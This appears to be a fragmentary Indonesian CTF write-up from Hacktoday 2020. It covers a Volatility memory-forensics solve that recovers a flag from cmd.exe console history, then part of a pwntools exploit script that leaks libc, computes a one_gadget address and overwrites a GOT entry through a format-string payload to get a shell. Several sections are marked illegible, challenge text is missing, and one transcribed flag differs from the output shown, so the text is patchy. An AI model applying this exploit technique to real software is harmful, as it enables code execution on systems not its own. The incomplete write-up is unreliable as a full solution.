

























## Slim Shady (420 pts)

# Forensics

babyVol (140 pts)

Untuk soal ini, tinggal dilakukan ekstraksi pada *console history* menggunakan plugin **consoles** di *volatility*.

```
Command Line : \\?C:\Windows\system32\conhost.exe
root@kali: /media/sf_CTF/2020/Hacktoday/Forensics/babyVol# volatility -f image --profile=Win7SP1x64 consoles
Volatility Foundation Volatility Framework 2.6
*****
ConsoleProcess: conhost.exe Pid: 2388
Console: 0xff3d6200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 2380 Handle: 0x60
----
CommandHistory: 0x12eab0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x12dde0: dir
Cmd #1 at 0x133680: hacktoday{yOUv3_folll0wed_My_c0mm4ND_f3ry_w3LL_}
----
Screen 0x110f80 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Hektdod>dir
Volume in drive C has no label.
Volume Serial Number is 40E9-EFF4

Directory of C:\Users\Hektdod

07/29/2020 09:18 AM <DIR> .
07/29/2020 09:18 AM <DIR> ..
07/29/2020 09:18 AM <DIR> Contacts
07/29/2020 09:22 AM <DIR> Desktop
07/29/2020 09:18 AM <DIR> Documents
07/29/2020 09:18 AM <DIR> Downloads
07/29/2020 09:18 AM <DIR> Favorites
07/29/2020 09:18 AM <DIR> Links
07/29/2020 09:18 AM <DIR> Music
07/29/2020 09:18 AM <DIR> Pictures
07/29/2020 09:18 AM <DIR> Saved Games
07/29/2020 09:18 AM <DIR> Searches
07/29/2020 09:18 AM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 25,419,132,928 bytes free

C:\Users\Hektdod>hacktoday{yOUv3_folll0wed_My_c0mm4ND_f3ry_w3LL_}
'hacktoday{yOUv3_folll0wed_My_c0mm4ND_f3ry_w3LL_}' is not recognized as an int
ernal or external command,
operable program or batch file.

C:\Users\Hektdod>
```

Flag: hacktoday{yOUv3\_\_folll0wed\_My\_c0mm4ND\_f3ry\_w3LL\_\_}

















[illegible]

Flag: hacktoday{PaddingNull\_Is\_a\_Multiply\_by\_256}

[illegible]























```

setbuf_offset = 0x88540
one_offset = 0x4f3c2

libc_base = setbuf_libc - setbuf_offset
one_libc = libc_base + one_offset

print hex(one_libc)

# stage3
r.recvuntil('?')

num1 = (one_libc >> 4*4) & 0xffff
num2 = (one_libc & 0xffff)
print hex(num1)
print hex(num2)
payload = fstring.fhnh64(setbuf_got, one_libc, 8, i=6)
payload += (0x118-len(payload))*'A'
r.sendline(payload)

print hex(one_libc)
print hex(num1)
print hex(num2)

r.interactive()

```

```
Flag:hacktoday{canarycanarycanary_cant_stop_me_L29_IS_HERE}
```



